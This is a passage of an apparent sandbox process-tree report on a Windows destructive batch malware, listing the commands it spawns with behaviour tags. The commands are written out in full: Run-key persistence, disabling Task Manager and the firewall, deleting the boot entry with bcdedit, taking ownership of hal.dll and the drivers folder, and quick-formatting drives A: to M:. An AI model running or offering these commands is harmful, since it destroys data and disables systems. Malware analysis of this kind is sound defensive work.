  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:8004
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:7180
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:7908
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8348
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3924
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:8424
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:3008
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:3056
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      PID:10224
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9388
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9876
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10264
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10320
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10480
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10548
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10640
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10736
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10800
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10868
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:11004
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:11096
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:11168
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:10984
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:10392
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:11328
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:11520
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:4004
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:4028
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:4044
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:4060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:4084
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      PID:4236
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:2420
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      PID:4696
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Possible privilege escalation attempt
      PID:1224
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5016
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:4872
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:7268
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:3720
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5956
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8376
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:6740
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:5684
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:9072
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:2204
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      Views/modifies file attributes
      PID:8660
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:1728
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10312
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10472
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10556
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10656
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10752
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10816
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10876
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10940
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:11088
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:10760
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:11252
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:11280
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:11440
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:3232
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:3300
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:3200
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:3680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:3604
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      PID:4140
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      PID:4796
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      PID:3580
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      PID:4332
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:3900
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      PID:3836
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:6600
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:7848
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5000
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8368
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8684
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:8952
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:4904
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:9188
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      PID:6716
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:6928
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10464
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10564
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10648
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10744
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10808
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10884
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10956
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:11072
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:11160
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:10368
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:10388
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:11320
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:11536
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:3904
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:3908
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:3696
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:948
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\drivers" /r
    3⤵
    PID:3272
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\drivers" /reset /t /c /q
    3⤵
    PID:4304
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
    3⤵
    PID:4464
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:4636
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:4668
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:4680
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:4700
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:4708
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:4720
- - C:\Windows\system32\format.com
    format /y /q A:
    3⤵
    PID:4788
- - C:\Windows\system32\format.com
    format /y /q B:
    3⤵
    PID:4132
- - C:\Windows\system32\format.com
    format /y /q D:
    3⤵
    PID:4468
- - C:\Windows\system32\format.com
    format /y /q E:
    3⤵
    PID:4792
- - C:\Windows\system32\format.com
    format /y /q F:
    3⤵
    PID:4968
- - C:\Windows\system32\format.com
    format /y /q G:
    3⤵
    PID:4972
- - C:\Windows\system32\format.com
    format /y /q H:
    3⤵
    PID:4688
- - C:\Windows\system32\format.com
    format /y /q I:
    3⤵
    PID:4956
- - C:\Windows\system32\format.com
    format /y /q J:
    3⤵
    PID:3584
- - C:\Windows\system32\format.com
    format /y /q K:
    3⤵
    PID:3396
- - C:\Windows\system32\format.com
    format /y /q L:
    3⤵
    PID:2404
- - C:\Windows\system32\format.com
    format /y /q M:
    3⤵
    PID:5236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:5552
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Modifies file permissions
      PID:8280
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:8636
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:8788
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Modifies file permissions
      PID:9020
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:8384
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:940
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:9400
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:9996
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:9060
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:9348
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:5560
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5588
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:5596
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:5636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:5660
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      PID:8212
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:8768
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      PID:8824
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Modifies file permissions
      PID:9088
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:8316
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      PID:8640
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:9412
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:9988
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:9584
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:10228
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:5680
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5720
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:5728
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:5748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:5772
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Modifies file permissions
      PID:8544
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:8848
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      PID:8952
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      PID:5916
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:9124
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      PID:8956
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:9388
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:9972
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:1996
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:9544
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:5796
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5828
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:5836
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:5852
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\Mpeg2Data.ax"
    3⤵
    - Possible privilege escalation attempt
    PID:5880
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\Mpeg2Data.ax" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    PID:4548
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\Mpeg2Data.ax"
    3⤵
    PID:5492
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\mpg2splt.ax"
    3⤵
    PID:6692
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\mpg2splt.ax" /reset /c /q
    3⤵
    PID:7196
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\mpg2splt.ax"
    3⤵
    - Views/modifies file attributes
    PID:7248
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\MSDvbNP.ax"
    3⤵
    - Modifies file permissions
    PID:6400
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\MSDvbNP.ax" /reset /c /q
    3⤵
    - Modifies file permissions
    PID:8060
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\MSDvbNP.ax"
    3⤵
    - Views/modifies file attributes
    PID:8452
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\MSNP.ax"
    3⤵
    PID:9188
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\MSNP.ax" /reset /c /q
    3⤵
    PID:8312
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\MSNP.ax"
    3⤵
    - Views/modifies file attributes
    PID:9704
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\psisrndr.ax"
    3⤵
    PID:9732
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:2852
- C:\Windows\system32\notepad.exe
  notepad
  2⤵
  PID:2964
- C:\Windows\system32\calc.exe
  calc
  2⤵
  PID:1520
- C:\Windows\system32\mspaint.exe
  mspaint
  2⤵
  - Drops file in Windows directory
  - Suspicious use of SetWindowsHookEx
  PID:2860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
  2⤵
  PID:2720
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2904
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /reset /c /q
    3⤵
    PID:1144
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\hal.dll"
    3⤵
    - Views/modifies file attributes
    PID:948
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\Twain_32.dll"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1716
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\Twain_32.dll" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    PID:1684
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\Twain_32.dll"
    3⤵
    - Views/modifies file attributes
    PID:1552
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
    3⤵
    PID:2596
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2044
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2772
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:2256
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K Taskdl.bat
    3⤵
    PID:2792
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32" /r
      4⤵
      PID:4660
- - C:\Windows\system32\wscript.exe
    WScript Informacion.vbs
    3⤵
    PID:1656
- - C:\Windows\system32\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:1736
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h *.*
    3⤵
    PID:1668
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:2544
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:2560
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:2288
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:2852
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:3076
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:3100
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:3132
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:3140
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:3152
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:3180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:3320
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Modifies file permissions
      PID:4444
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:4464
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:4884
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Modifies file permissions
      PID:2740
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      PID:4944
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:3836
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:7872
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:1852
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5560
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8420
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:9024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:9160
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:9204
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:1728
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      PID:8656
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:4848
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10336
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10492
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10580
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10668
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10784
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10840
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10908
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:11028
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:11140
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:10376
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:11228
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:10200
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:11420
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:3340
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:3360
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:3376
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:3404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:3432
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3580
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:4512
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      PID:3836
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      PID:4540
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:4332
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
